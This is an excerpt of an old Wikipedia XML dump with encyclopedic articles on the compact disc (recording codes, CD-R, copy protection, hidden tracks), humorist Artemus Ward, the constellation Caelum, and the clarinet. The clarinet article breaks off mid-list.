Many CDs, especially classical music and many popular recordings, come with a three-letter code printed on the back known as the SPARS ([[acronym]] for [[Society of Professional Audio Recording Studios]]) Code, where &quot;A&quot; stands for [[analog signal|analog]] and &quot;D&quot; stands for [[digital]].  The first letter represents how the album was recorded, the second how it was mixed, and the third how it was transferred (inevitably a D, as the CD is a digital medium).  Almost all early CDs are &quot;AAD&quot; (analog recording and mixing, digital transfer to CD) as a result. Often this code was accompanied by a short description such as &quot;Full Digital Recording&quot; for DDD and &quot;Digitally Mixed Analog Recording&quot; for ADD.

Commercial digital recording of classical and jazz music began in the early [[1970s]], pioneered by Japanese companies such as [[Denon]], although experimental recordings exist from the [[1960s]]. The first 16-bit PCM recording in the [[United States]] was made by [[Thomas Stockham]] at the [[Santa Fe Opera]] in [[1976]] on a [[Soundstream]] recorder. In most cases there was no mixing stage involved; a stereo digital recording was made and used unaltered as the master tape for subsequent commercial release. These unmixed digital recordings are still described as DDD since the technology involved is purely digital. (Unmixed analog recordings are likewise usually described as ADD to denote a single generation of analog recording).

The first digitally recorded (DDD) popular music album was [[Ry Cooder]]'s ''[[Bop Till You Drop]]'', recorded in late [[1978]]. It was unmixed, being recorded straight to a two-track [[3M]] digital recorder in the studio. Many other top recording artists were early adherents of digital recording. [[Stevie Wonder]] adopted the technology in early [[1979]] for [[Journey Through the Secret Life of Plants]] and used it on all later recordings. Others, such as former [[Beatles]] producer [[George Martin]], felt that the multitrack digital recording technology of the early [[1980s]] had not reached the sophistication of analog systems. Martin used digital mixing, however, to eliminate the distortion and noise that an analog master tape would introduce (thus ADD). An early example of an analog recording that was digitally mixed is [[Fleetwood Mac]]'s 1979 release ''[[Tusk (album)|Tusk]]''.

By the time the compact disc was introduced worldwide digital recording and mixing was becoming commonplace among recording artists and producers known for their interest in fidelity. Two examples from [[1982]] are ''[[Signals (album)|Signals]]'' by [[Rush (band)|Rush]] and ''[[The Nightfly]]'' by [[Donald Fagen]].

A few examples of DAD recordings exist, mostly of works that were originally recorded digitally but later [[remix]]ed by artists who preferred to work with analog technology. A notable example is [[Herb Alpert]]'s ''Rise'' album from 1979.  &lt;!--I think there is an Arthur Baker remix of Like A Virgin that is an example of this, if someone can confirm this or provide another example--&gt; 

The originally CD-only label [[Ryko]] extended this system to the other media when it began making LPs and cassettes so that a digital recording on an LP would be DDA, and so forth.

===Three-Letter Codes===
* '''DDD:''' digital tape recorder used during session recording, mixing and/or editing, and mastering (transcription).
* '''ADD:''' analog tape recorder used during session recording, digital tape recorder used during subsequent mixing and/or editing and during mastering (transcription).
* '''AAD:''' analog tape recorder used during session recording and subsequent mixing and/or editing, digital tape recorder used during mastering (transcription).

== CD-ROM ==
{{main|CD-ROM}}

For its first few years of existence, the compact disc was purely an audio format. However, in [[1985]] [[Yellow Book (CD-ROM standards)|Yellow Book]] CD-ROM standard was established by [[Sony]] and [[Philips]], which defined a non-volatile optical data [[computer storage|storage]] medium using the same physical format as audio [[compact disc]]s, readable by a computer with a CD-ROM drive.

== Recordability ==
[[Injection moulding]] is used to mass produce compact discs. A &quot;stamper&quot; is made from the original media (audio tape, data disc, etc.) by writing to a glass disc (referred to as a glass master) coated with a photosensitive dye with a laser.  This dye is then etched, leaving the data track.  It is then plated to make a positive version of the CD.  Polycarbonate is liquified and injected into the mold cavity where the stamper transfers the pattern of pits and lands to the polycarbonate disc.  The disc is then metallized with aluminum and lacquer coated.  

Recordable compact discs are injection molded with a &quot;blank&quot; data spiral.  A photosensitive dye is then applied, and then the discs are metallized and lacquer coated.  The write laser of the [[CD recorder]] changes the characteristics of the dye to allow the read laser of a standard CD player to see the data as it would an injection molded compact disc.  CD-R recordings are permanent.  The resulting discs can be read by most CD-ROM drives and played in most audio CD players. 

[[CD-RW]] is a re-recordable medium that uses a metallic alloy instead of a dye. The write laser in this case is used to heat and alter the chemical properties of the alloy and hence change its reflectivity. A CD-RW does not have as great a difference in the reflectivity of lands and bumps as a pressed CD or a CD-R, and so many CD audio players cannot read CD-RW discs, although the majority of standalone [[DVD]] players can.

== Copy protection ==
The [[Red Book (audio CD standard)|Red Book]] audio specification does not include any [[copy prevention|copy protection]] mechanism. ''Ripping'' is the process by which the contents of an audio disc is copied out verbatim to a duplicate disc or re-encoded into some other format, such as [[MP3]] or [[Ogg Vorbis]].

An [[CIRC|error-correcting code]] is included with Red Book audio to deal with small scratches or defects on the disc media.  Where error correction fails on larger defects, audio CD players are expected to apply [[interpolation]] [[algorithm]]s to conceal the loss of audio data.

Starting in early [[2002]], attempts were made by record companies to market &quot;copy-protected&quot; compact discs.  Some of these deliberately introduced error patterns into audio tracks severe enough to defeat the error-correcting code (and hence defeat most [[CD-ROM]] drives attempting to copy the tracks as data), but not so disruptive as to prevent interpolation from working (hence allowing the same tracks to be played in audio mode without overly affecting [[high fidelity|fidelity]]). These discs are said to be more sensitive to disc pollution or surface damage (typically in the form of scratches) because they partially exhaust the error-correction thresholds incorporated into the Red Book standard right from the time of production.

Another copy protection method places a data track (usually containing bonus software for computer users) at the end of the disc and gives it an invalid size in the disc's table of contents.  This is intended to prevent the data track from being ripped, but can be defeated by ignoring the table of contents and reading the disc sector by sector.

Philips has stated that such discs are not permitted to bear the [[trademark]]ed ''Compact Disc Digital Audio'' logo because they violate the Red Book specification. It also seems likely that Philips' new models of CD recorders will be designed to be able to record from these &quot;protected&quot; discs.  However, there has been great public outcry over copy-protected discs because many see it as a threat to [[fair use]]. For example, audio tracks on such media cannot be easily added to a personal music collection on a computer's [[hard disk]] or a portable (non-CD) music player. Also, many ordinary CD audio players, e.g. in car radios, have problems playing copy-protected media, mostly because they use [[hardware]] and [[firmware]] components also used in [[CD-ROM]] drives. The reason for this reuse is cost efficiency.

Other systems developed are [[Macrovision CDS-200]] and [[Mediamax CD-3]].

In any case, even if a disc cannot be directly ripped, it can still be played in audio mode, and the audio thence captured.  Any loss of sound quality caused by this method is generally considered negligible. This is commonly referred to as the [[analog hole]].

{{seealso|Serial Copy Management System}}

== Non-standard CD behaviors ==
Some commercially released audio discs have a &quot;secret&quot; [[hidden track|bonus track]]. These may be an extension of the last audio track or a separate track hidden from the disc's table of contents.  Either way, the hidden portion is heard when the disc is played to the end.

Other discs hide the extra material at the beginning of the disc.  On most discs, the location of the first track listed in the table of contents immediately follows the table of contents itself.  In this case, the hidden track is an unlisted track sandwiched between the two.  To hear the hidden track, the listener must usually &quot;rewind&quot; the player past the beginning of the first listed track.  Not all players allow this. 

== Name ==
Notwithstanding the variability of general usage between [[disk|&quot;disk&quot; and &quot;disc&quot;]] [http://www.bartleby.com/61/16/C0521600.html], the customary spelling is &quot;compact disc&quot;, rather than &quot;compact disk&quot;.  This may be in large degree due to its status as a [[Philips]] [[trademark]] under that spelling.

== References ==
* Kees Immink, ''The Compact Disc Story'', AES Journal, pp. 458-465, May 1998 [http://www.exp-math.uni-essen.de/~immink/pdf/cdstory.pdf].

* Kenneth C. Pohlmann (1992). ''The Compact Disc Handbook''. Middleton, Wisconsin: A-R Editions. ISBN 895793008.

== See also ==
{{commons|Compact disc}}

* [[SACD]]
* [[DVD-Audio]]
* [[CD-ROM]]
* [[CD-R]]
* [[CD-RW]]
* [[CD Text]]
* [[Loudness war]]
* [[Rainbow Books]]
** [[Red Book (audio CD standard)]]
** [[Yellow Book (CD-ROM standards)]]
* [[CD-G|CD+G]]
* [[Enhanced CD|ECD]]
* [[Video CD]]
* [[SVCD]]
* [[Jewel case]]
* [[Digipak]]
* [[miniCD]]
* [[Optical disc]]
** [[DVD]]
* [[:Image:Zapped-CD-Art.gif]]

[[Category:CD| ]]
[[Category:120 mm discs]]
[[Category:Audio storage]]
[[Category:Video storage]]
[[Category:Digital audio]]

&lt;!-- interwiki --&gt;

[[als:Compact Disc]]
[[ar:قرص مضغوط]]
[[bs:CD]]
[[ca:Disc Compacte]]
[[cs:CD]]
[[da:Compactdisk]]
[[de:Compact Disc]]
[[es:Disco compacto]]
[[eu:Disko konpaktu]]
[[fa:لوح فشرده]]
[[fr:Disque compact]]
[[fy:Kompakte skiif]]
[[ga:Dlúthdhiosca]]
[[gl:CD (informática)]]
[[ko:컴팩트 디스크]]
[[hr:CD]]
[[it:Compact disc]]
[[he:תקליטור]]
[[lt:Kompaktinė plokštelė]]
[[hu:CD]]
[[ms:Cakera padat]]
[[nl:Compact disc]]
[[ja:コンパクトディスク]]
[[no:CD-plate]]
[[nn:Kompaktplate]]
[[yi:סידי]]
[[pl:Płyta kompaktowa]]
[[pt:CD]]
[[ro:CD]]
[[ru:Компакт-диск]]
[[simple:Compact disc]]
[[sk:Kompaktný disk]]
[[sl:Zgoščenka]]
[[sr:Компакт диск]]
[[fi:CD-levy]]
[[sv:Compact Disc]]
[[th:ซีดี]]
[[tr:CD]]
[[uk:Компакт диск]]</text>
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  <page>
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        <ip>Conversion script</ip>
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      <minor />
      <comment>Automated conversion</comment>
      <text xml:space="preserve">#REDIRECT [[Compact disc]]
</text>
    </revision>
  </page>
  <page>
    <title>Charles Farrar Browne</title>
    <id>6431</id>
    <revision>
      <id>34479334</id>
      <timestamp>2006-01-09T09:49:44Z</timestamp>
      <contributor>
        <username>Wiccan Quagga</username>
        <id>135584</id>
      </contributor>
      <minor />
      <comment>link</comment>
      <text xml:space="preserve">'''Charles Farrar Browne''', ([[April 23]], [[1834]] - [[March 6]], [[1867]]) was a [[United States]] [[humor]]ous writer, best known under his ''nom de plume'' of '''Artemus Ward'''. 

[[Image:ArtemusWard.jpg|thumbnail|200px|right|Artemus Ward]]
Browne was born in [[Waterford, Maine]].  He began life as a compositor and occasional contributor to the daily and weekly journals. In 1858 he published in the [[Cleveland Plain Dealer|Cleveland ''Plaindealer'']] the first of the &quot;Artemus Ward&quot; series, which in a collected form achieved great popularity in both America and [[England]]. In 1860 he became editor of ''[[Vanity Fair magazine]]'', a humorous New York weekly, which proved a failure. About the same time he began to appear as a lecturer, and by his droll and eccentric humour attracted large audiences.

&quot;Artemus Ward&quot; was the favorite author of [[President of the United States|US President]] [[Abraham Lincoln]]. Before presenting &quot;[[The Emancipation Proclamation]]&quot; to his Cabinet, Lincoln read to them the latest episode, &quot;Outrage in Utiky&quot;, also known as ''High-Handed Outrage at Utica''. 

Ward is also said to have inspired [[Mark Twain]], after Ward performed in [[Virginia City]], [[Nevada]]. Legend has it that following Ward's stage performance, Ward, Mark Twain, and [[Dan De Quille]] were taking a drunken rooftop tour of Virginia City, until a town constable threatened to blast all three of them with a [[shotgun]] loaded with [[rock salt]].

In 1866 Ward visited England, where he became exceedingly popular both as a lecturer and as a contributor to ''[[Punch magazine]]''. In the spring of the following year his health gave way and he died of [[tuberculosis]] at
Southampton on [[March 6]], [[1867]].

== Stories ==
* A Visit to Bringham Young
* Women's Rights
* One of Mr's Wards Business Letters
* On &quot;Forts&quot;
* Forth of July Oration
* High-Handed Outrage at Utica
* Artemus Ward and the Prince of Wales
* Interview with Lincoln
* Letters to his Wife

==References==
{{1911}}

== External links ==
* {{gutenberg author| id=Artemus+Ward | name=Charles Farrar Browne}}

{{Wikiquote}}

[[Category:1834 births|Browne, Charles Farrar]]
[[Category:1867 deaths|Browne, Charles Farrar]]</text>
    </revision>
  </page>
  <page>
    <title>Caelum</title>
    <id>6432</id>
    <revision>
      <id>39168825</id>
      <timestamp>2006-02-11T04:21:23Z</timestamp>
      <contributor>
        <username>GrinBot</username>
        <id>411872</id>
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      <minor />
      <comment>robot  Adding: hu</comment>
      <text xml:space="preserve">{{Infobox Constellation|
name = Caelum |
abbreviation = Cae |
genitive = Caeli |
symbology = the [[chisel]] |
RA = 5 |
dec= &amp;minus;40 |
areatotal = 125 |
arearank = 81st |
numberstars = 0 |
starname = &amp;alpha; Cae |
starmagnitude = 4.45 |
meteorshowers = None |
bordering =
*[[Columba (constellation)|Columba]]
*[[Lepus (constellation)|Lepus]]
*[[Eridanus (constellation)|Eridanus]]
*[[Horologium]]
*[[Dorado]]
*[[Pictor]] |
latmax = 40 |
latmin = 90 |
month = January |
notes=}}
'''Caelum''' ([[Latin]] for ''[[chisel]]'', and similar to Latin for ''of the [[Sky]]'') is a minor southern [[constellation]] introduced by [[Nicolas Louis de Lacaille]].

==Table of leading stars==
{| border=1 cellpadding=4 align=center style=&quot;clear:both;&quot;
|-
! name
! HD number
! right ascension
! declination
! apparent&lt;br&gt;magnitude
! spectral&lt;br&gt;type
! distance&lt;br&gt;(parsecs)
! absolute&lt;br&gt;magnitude
|-
| &amp;alpha; Cae
| HD 29875
| 4h 40m 33.6s
| &amp;minus;41&amp;deg; 51&amp;prime; 50&amp;prime;&amp;prime;
| align=center | 4.45
| align=center | F2 V
| align=center | 20
| align=center | 3.0
|-
| &amp;gamma; Cae
| HD 32831
| 5h 04m 24.3s
| &amp;minus;35&amp;deg; 29&amp;prime; 00&amp;prime;&amp;prime;
| align=center | 4.55
| align=center | K2 III
| align=center | 57
| align=center | 0.2
|-
| &amp;beta; Cae
| HD 29992
| 4h 42m 03.4s
| &amp;minus;37&amp;deg; 08&amp;prime; 40&amp;prime;&amp;prime;
| align=center | 5.05
| align=center | F8 V
| align=center | 28
| align=center | 4.0
|-
| &amp;delta; Cae
| HD 28873
| 4h 30m 50.1s
| &amp;minus;44&amp;deg; 57&amp;prime; 13&amp;prime;&amp;prime;
| align=center | 5.07
| align=center | B3 V
| align=center | 217
| align=center | &amp;minus;1.7
|}

==History==
Since this is a southern constellation, invented in the 17th century, there is no pre 17th-century mythology associated with it.
==Stars==
:Stars with Bayer designations:
:* [[Alpha Caeli|&amp;alpha; Cae]] 4.45; [[Beta Caeli|&amp;beta; Cae]] 5.05; [[Gamma Caeli|&amp;gamma; Cae]] &amp;ndash; double 4.55 &amp; 6.34; [[Delta Caeli|&amp;delta; Cae]] 4.55; [[Zeta Caeli|&amp;zeta; Cae]] 6.35; [[Lambda Caeli|&amp;lambda; Cae]] 6.24; [[Nu Caeli|&amp;nu; Cae]] 6.06

{{ConstellationsByLacaille}}
{{ConstellationList}}

==External links==
{{Commons|Caelum}}


[[Category:Caelum constellation]]

{{astro-stub}}

[[ca:Burí (constel·lació)]]
[[cs:Rydlo (souhvězdí)]]
[[da:Mejslen]]
[[de:Grabstichel (Sternbild)]]
[[es:Caelum]]
[[fr:Burin (constellation)]]
[[ko:조각칼자리]]
[[id:Caelum]]
[[it:Caelum]]
[[la:Caelum (sidus)]]
[[lt:Skaptukas (astronomija)]]
[[hu:Véső (csillagkép)]]
[[nl:Graveerstift]]
[[ja:ちょうこくぐ座]]
[[nn:Gravstikka]]
[[pl:Rylec (gwiazdozbiór)]]
[[pt:Caelum]]
[[ru:Резец (созвездие)]]
[[sk:Súhvezdie Rydlo]]
[[fi:Veistotaltta]]
[[sv:Gravstickeln]]
[[th:กลุ่มดาวสิ่ว]]
[[zh:雕具座]]</text>
    </revision>
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  <page>
    <title>Clarinet</title>
    <id>6433</id>
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      <id>41845856</id>
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      <contributor>
        <username>Rsholmes</username>
        <id>116612</id>
      </contributor>
      <comment>Reduced redundancy; revision of other instruments' overblowing (or not)</comment>
      <text xml:space="preserve">[[Image:Bassclarinet.jpg|right|thumb|A [[Bass clarinet|bass clarinet]], which sounds an octave lower than the more common B&amp;#9837; soprano clarinet.]]
The '''clarinet''' is a [[musical instrument]] in the [[woodwind]] family. The name derives from adding the suffix ''-et'' meaning ''little'' to the Italian word ''clarino'' meaning ''[[trumpet]]'', as the first clarinets had a strident tone similar to that of a trumpet.  The instrument has an approximately cylindrical bore, and uses a single [[reed (music)|reed]]. (See [[#Characteristics of the instrument|Characteristics of the instrument]].)

Clarinets actually comprise a family of instruments of differing sizes and pitches.  It is the largest such instrument family, with more than two dozen types.  Of these many are rare or obsolete, and music written for them is usually played on one of the more common size instruments.  The unmodified word ''clarinet'' usually refers to the soprano size.  (See [[#Extended family of clarinets|Extended family of clarinets]]).

A person who plays the clarinet is called a [[clarinetist]], sometimes spelled &quot;clarinettist&quot;.

==Characteristics of the instrument==

===Tone===
The clarinet has a distinctive liquid [[timbre|tone]], resulting from the shape of the bore, whose characteristics vary between its three registers:  the chalumeau (low), clarion or clarino (middle), and altissimo (high). It has a very wide compass, which is showcased in chamber, orchestral, and wind band writing.  The tone quality varies greatly with the musician, the music, the style of clarinet, the reed, and humidity. The German (Oehler) clarinet generally has a fuller tone quality than the French (Boehm) system. In contrast, the French clarinet typically has a lighter, brighter tone quality.  The differences in instruments and geographical isolation of players in different nations led to the development, from the last part of the 18th century on, of several different schools of clarinet playing.  The most prominent of these schools were the German/Viennese traditions and the French school, centred around the clarinettists of the ''Conservatoire National Supérieur de Musique de Paris''.  Increasingly, through the proliferation of recording technology and the internet, examples of many different styles of clarinet playing are available to developing clarinettists today.  This has led to decreased homogeneity of styles of clarinet playing.  The modern clarinetist has an eclectic palette of &quot;acceptable&quot; tone qualities to chose from, especially when working with an open-minded teacher.

The A clarinet sound is a little darker, richer, and more robust than that of the more common B&amp;#9837; clarinet, though the difference is relatively small. The tone of the '''E&amp;#9837; clarinet''' is quite a bit brighter than any other member of the widely-used clarinet family and is known for its distinctive ability to cut through the orchestral texture even at loud volumes; this effect was utilized by such 20th century composers such as [[Gustav Mahler|Mahler]], [[Aaron Copland|Copland]], [[Dmitri Shostakovich|Shostakovich]], and [[Igor Stravinsky|Stravinsky]].  

The '''[[bass clarinet]]''' has a characteristically deep mellow sound.

===Range===
The bottom of the clarinet’s written range is defined by the keywork on each particular instrument; there are standard keywork schemes with some variability.  The actual lowest concert pitch depends on the [[transposing instrument|transposition]] of the instrument in question. Nearly all [[soprano clarinet|soprano]] and [[piccolo clarinet|piccolo]] clarinets have keywork enabling them to play the E below middle C as their lowest written note. Alto and bass clarinets have an extra key to allow a low Eb. Modern professional-quality bass clarinets generally have additional keywork to low C. Among the less commonly encountered members of the clarinet family, contra-alto and contrabass clarinets may have keywork to low Eb, D, or C; the basset clarinet and basset horn generally go to low C.

Defining the top end of a clarinet’s range is difficult, since many advanced players can produce notes well above the highest notes commonly found in method books.  The “high G” two octaves plus a perfect fifth above middle C is routinely encountered in advanced material and in the standard literature through the nineteenth century.  The C above that is attainable by most advanced players and is shown on many fingering charts.  Many professional players are able to extend the range even higher.

The range of a clarinet can be divided into three distinctive registers. The lowest notes, up to the written B&amp;#9837; above middle C, is known as the 'chalumeau register' (named after the instrument that was the clarinet's immediate ancestor), of which the top four notes or so are known as the 'throat tones'. Producing a blended tone with the surrounding registers takes much skill and practice. The middle register is termed the 'clarion' register and spans just over an octave (from written B above middle C, to the C two octaves above middle C).  The top or 'altissimo' register consists of the notes from the written C# two octaves above middle C and up.

===Construction and acoustics===
Professional clarinets are usually made from [[Africa]]n [[hardwood]], often [[grenadilla]],  (rarely) [[Honduras|Honduran]] [[rosewood]] and sometimes even cocobolo. Historically other woods, notably [[boxwood]], were used.  One major manufacturer makes professional clarinets from a composite mixture of plastic resin and wood chips &amp;mdash; such instruments are less affected by humidity, but are heavier than the equivalent wood instrument. Student instruments are sometimes made of [[composite material|composite]] or plastic [[resin]], commonly &quot;resonite&quot;, an [[Acrylonitrile butadiene styrene|ABS]] resin. Metal soprano clarinets were popular in the early twentieth century, until plastic instruments supplanted them; metal construction is still used for some contra-alto and contrabass clarinets.  Mouthpieces are generally made of [[ebonite]], although some inexpensive mouthpieces may be made of [[plastic]]. The instrument uses a single [[reed (music)|reed]] made from [[arundo donax|cane]] (sometimes &quot;fiber&quot; or plastic) which is placed on a mouthpiece and held in place by a ligature.  When air is blown through the opening between the reed and the mouthpiece facing, the reed vibrates and produces the instrument's sound. 

Clarinetists used to make their own reeds.  Now most buy manufactured reeds, but many players make adjustments to these reeds to improve playability.  Clarinet reeds come in varying &quot;strengths&quot; generally described from &quot;soft&quot; to &quot;hard.&quot;  The most common scale is a 1-5 system with most manufacturers having slight differences in their own systems.  It is important to note that there is no standardized system of designating reed strength.  Beginning clarinetists are often encouraged to use softer reeds, usually a 2 to 2 1/2. Jazz clarinetists often remain on softer reeds, as they are easy for bending pitch.  Most classical musicians work towards harder reed strengths as their embouchures strengthen. The benefit of a harder reed is a sturdy, round tone.  The major manufacturers of clarinet reeds include the Vandoren company (France), Gonzalez and Zonda (both manufactured from the same cane in Argentina), Legere, Mitchell Lurie and many others.

The body is equipped with seven ''[[tone hole]]s'' (six front, one back) and a complicated set of keys which allow every note of the chromatic scale to be produced. The most common system of keys was named the [[Boehm System (clarinet)|Boehm System]] by its designer [[Hyacinthe Klosé]] in honour of the flute designer [[Theobald Boehm]], but is not the same as the [[Boehm System]] used on flutes. The other main system of keys is called the [[Oehler system]] and is used mostly in [[Germany]] and [[Austria]] (see [[clarinet#History|History]]).  Related is the [[Albert system]] used by some [[jazz]], [[klezmer]], and eastern European folk musicians.

The hollow bore inside the instrument has a basically cylindrical shape, being roughly the same diameter for most of the length of the tube. There is a subtle [[hourglass]] shape, with its thinnest part at the junction between the upper and lower joint. This hourglass figure is not visible to the naked eye, but helps in the [[resonance]] of the sound. The diameter of the bore affects characteristics such as the stability of the pitch of a given note, or, conversely, the ability with which a note can be 'bent' in the manner required in jazz and other styles of music. The bell is at the bottom of the instrument and flares out to improve the tone of the lowest notes. 

A clarinetist moves between registers through use of the register key, or speaker key. The fixed reed and fairly uniform diameter of the clarinet give the instrument the configuration of a cylindrical [[stopped pipe]] in which the register key, when pressed, causes the clarinet to produce the note a [[interval (music)|twelfth]] higher, corresponding to the third [[harmonic series (music)|harmonic]]. The clarinet is therefore said to ''overblow'' at the twelfth.  (By contrast, nearly all other woodwind instruments overblow at the octave, or do not overblow at all; the [[rackett]] is the next most common Western instrument that overblows at the twelfth like the clarinet.)  A clarinet must therefore have holes and keys for nineteen notes (an octave and a half, from bottom E to B&amp;#9837;) in its lowest register to play a chromatic scale.  This fact at once explains the clarinet's great range and its complex fingering system. The fifth and seventh harmonics are also available to skilled players, sounding a further sixth and fourth higher respectively.

The highest notes on a clarinet can have a piercing quality and can be difficult to tune precisely. Different individual instruments can be expected to play differently in this respect. This becomes critical if a number of instruments are required to play a high part in unison. Fortunately for audiences, disciplined players can use a variety of fingerings to introduce slight variations into the pitch of these higher notes. It is also common for high melody parts to be split into close harmony to avoid this issue.

[[Image:Clarinet.jpg|thumb|640px|A concert B&amp;#9837; Clarinet]]

The parts that make up a clarinet are as follows (description follows the illustration from right to left):

* The ''reed'' is attached to the ''[[mouthpiece]]'' by the ''[[ligature (music)|ligature]]'', and the whole assembly is held in the player’s mouth, with the reed on the underside of the mouthpiece, pressing against the player's bottom lip.  The formation of the mouth around the mouthpiece and reed is called the ''[[embouchure]]''. Adjustment in the strength of the embouchure and muscles surrounding the mouth is one way to account for pitch variation compensation and tuning. 

* Next is the short ''barrel''; this part of the instrument may be extended in order to fine-tune the clarinet.  As the pitch of the clarinet is fairly temperature sensitive some instruments have interchangeable barrels whose lengths vary very slightly.  Additional compensation for pitch variation and tuning can be made by increasing the length of the instrument by ''pulling out'' the barrel. Some performers employ a single, synthetic barrel with a thumbwheel that enables the barrel length to be altered on the fly.

* The main body of the clarinet is divided (in most soprano clarinets, and some harmony clarinets) into the ''upper joint'' whose holes and most keys are operated by the left hand, and the ''lower joint'' with holes and most keys operated by the right hand.  The left thumb operates both a ''tone hole'' and the ''register key''.  The cluster of keys in the middle of the illustration are known as the ''trill keys'' and are operated by the right hand. These give the player alternative fingerings which make it easy to play ornaments and [[trill (music)|trill]]s that would otherwise be awkward.  The entire weight of the smaller clarinets is supported by the right thumb behind the lower joint on what is misleadingly called the ''thumb-rest''.  Alto and larger clarinets are supported with a neck strap or a floor peg.  

* Finally, the flared end is known as the ''bell''.  Contrary to popular belief, the bell does not amplify the sound; rather, it improves the uniformity of the instrument's tone for the lowest notes in each register.  For the other notes the sound is produced almost entirely at the tone holes and the bell is irrelevant.  As a result, when playing to a microphone, the best tone can be recorded by placing the microphone not at the bell but a little way from the finger-holes of the instrument. This relates to the position of the instrument when playing to an audience: pointing down at the floor, except in the most vibrant parts of certain styles of music and when called for specifically by the composer in the music (for example, in the music of [[Gustav Mahler]]).

==Usage and repertoire of the clarinet==

Clarinets have a very wide compass, which is showcased in chamber, orchestral, and wind band writing.  Additionally, improvements made to the fingering systems of the clarinet over time have enabled the instrument to be very agile; there are few restrictions to what it is able to play.

===Classical music===
In [[European classical music|classical music]], clarinets are part of standard [[orchestra]]l instrumentation, which frequently includes two clarinetists playing individual parts &amp;mdash; each player usually equipped with a pair of standard clarinets in B&amp;#9837; and A. Clarinet sections grew larger during the 19th century, employing a third clarinetist or a bass clarinet. In the 20th century, composers such as [[Igor Stravinsky]], [[Richard Strauss]] and [[Olivier Messiaen]] enlarged the clarinet section on occasion to up to nine players, employing many different clarinets including the E&amp;#9837; or D soprano clarinets, bassett horn, bass clarinet and/or contrabass clarinet. This practice of using a variety of clarinets to achieve colouristic variety was common in [[20th century classical music|20th century music]] and continues today.  However, many clarinetists and conductors prefer to play parts originally written for obscure instruments such as the C or D clarinets on B&amp;#9837; or E&amp;#9837; clarinets, which are of better quality and more prevalent and accessible.

The clarinet is widely used as a solo instrument. The relatively late evolution of the clarinet (when compared to other orchestral woodwinds) has left a considerable amount of solo repertoire from the [[Classical music era|Classical]], [[Romantic music|Romantic]] and [[Modern music|Modern]] periods but few works from the [[Baroque music|Baroque]] era. A number of [[clarinet concerto]]s have been written to showcase the instrument, with the concerti by [[Wolfgang Amadeus Mozart|Mozart]], [[Aaron Copland|Copland]] and [[Carl Maria von Weber|Weber]] being particularly well known.

Many works of [[chamber music]] have also been written for the clarinet. Particularly common combinations are: 
* clarinet and piano (including [[clarinet sonata]]s)
* clarinet, piano and another instrument (for example, [[string instrument]] or voice)
* [[Clarinet Quintet]], generally made up of a clarinet plus a [[string quartet]],
* [[Wind Quintet]], consists of [[flute]], [[oboe]], [[clarinet]], [[bassoon]], and [[horn (instrument)|horn]].
* [[Trio d'Anches]], or ''Trio of Reeds'' consists of [[oboe]], [[clarinet]], and [[bassoon]].
* [[Wind Octet]], consists of pairs of [[oboe]]s, [[clarinet]]s, [[bassoon]]s, and [[horn (instrument)|horn]]s.
* clarinet, violin, piano

=== Concert bands ===
In [[concert band|wind bands]], clarinets are a particularly central part of the instrumentation, occupying the same space (and often playing the same parts) in bands that the strings do in orchestras. Bands usually include several B&amp;#9837; clarinets, divided into sections each consisting of 2-3 clarinetists playing the same part. There is almost always an E&amp;#9837; clarinet part and a bass clarinet part, usually doubled.   Alto, contra-alto, and contrabass clarinets are sometimes used as well, and ''very'' rarely a piccolo A&amp;#9837; clarinet.

===Jazz===
Clarinets are also commonly found in [[jazz]], especially in its earlier forms such as the Big Band music of the [[1930s]] and [[1940s]].

The clarinet was a central instrument in early jazz starting in the [[1910s]] and remaining popular through the [[big band]] era into the [[1940s]].  [[Larry Shields]], [[Ted Lewis (musician)|Ted Lewis]], [[Jimmie Noone]] and [[Sidney Bechet]] were influential in early jazz. The B&amp;#9837; soprano was the most common, but a few early jazz musicians such as [[Louis Nelson Deslile]] and [[Alcide Nunez]] prefered the C soprano, and many New Orleans jazz brass bands have used E&amp;#9837; soprano. 

Swing clarinetists such as [[Benny Goodman]], [[Artie Shaw]], and [[Woody Herman]] led perhaps the most successful [[popular music]] groups of their era. 

With the decline of big bands' popularity in the late 1940s, the clarinet faded from its prominent position in jazz, though a few players ([[Buddy DeFranco]], [[Eric Dolphy]], [[Jimmy Giuffre]], [[Perry Robinson]] and others) used clarinet in [[bebop]] and [[free jazz]]. However, the instrument has seen something of a resurgence since the 1980s, with [[Eddie Daniels]], [[Don Byron]] and others playing the clarinet in more contemporary contexts. The instrument remains common in such styles as [[Dixieland]], Pete Fountain being a notable performer in this genre. One notable enthusiast is filmmaker [[Woody Allen]], who regularly plays New Orleans-style jazz in New York.

=== Klezmer ===
Clarinets also feature prominently in much [[Klezmer]] music, which requires a very distinctive style of playing. This folk genre makes much use of quarter-tones, making a different embouchure (mouth position) necessary.

===Groups of clarinets===
Groups of clarinets playing together have become increasingly popular among clarinet enthusiasts in recent years. Common forms are:  
* [[clarinet choir]], which features a large number of clarinets playing together, usually involving a range of different members of the clarinet family (see [[clarinet#Extended family of clarinets|Extended family of clarinets]]). The homogeneity of tone across the different members of the clarinet family produces an effect with some similarities to a human [[choir]].
* [[clarinet quartet]], for which three B&amp;#9837; sopranos and one B&amp;#9837; bass is a particularly common combination

Clarinet choirs and quartets often play arrangements of both classical and popular music, in addition to a body of literature specially written for a combination of clarinets by composers such as [[Arnold Cooke]], [[Alfred Uhl]], [[Lucien Caillet]] and [[Vaclav Nehlybel]].

== Extended family of clarinets ==
Clarinets other than the standard B&amp;#9837; and A clarinets are sometimes known as harmony clarinets. However, there are many differently-pitched clarinet types, some of which are very rare.  They may be grouped into sub-families, but grouping and terminology vary; the following grouping is intended to reflect the most popular usage: 

* [[Piccolo clarinet]] &amp;mdash; Very rare. Also known as [[Octave clarinet]] or [[Sopranino clarinet]]. About an octave higher than the B&amp;#9837; clarinet.
** A&amp;#9837; piccolo clarinet &amp;mdash; Used chiefly in Italian marching bands.
** Shackleton (see [[Clarinet#References|references]]) lists also obsolete instruments in C, B&amp;#9837;, and A.
* [[Soprano clarinet]] &amp;mdash; The most familiar type of clarinet.
** [[E-flat clarinet|E&amp;#9837; clarinet]] &amp;mdash; Fairly common in America and western Europe.  Also affectionately called the &quot;Eefer&quot;.  Used in marching bands, wind ensembles, clarinet choirs and sometimes in orchestras to increase the upper range of the clarinet choir. The piercing quality of this smaller clarinet carries well in outdoor situations. Less common in eastern Europe.  Shackleton lists this and the D clarinet, along with obsolete instruments in G, F, and E as sopranino clarinets, but this terminology is not commonly used.
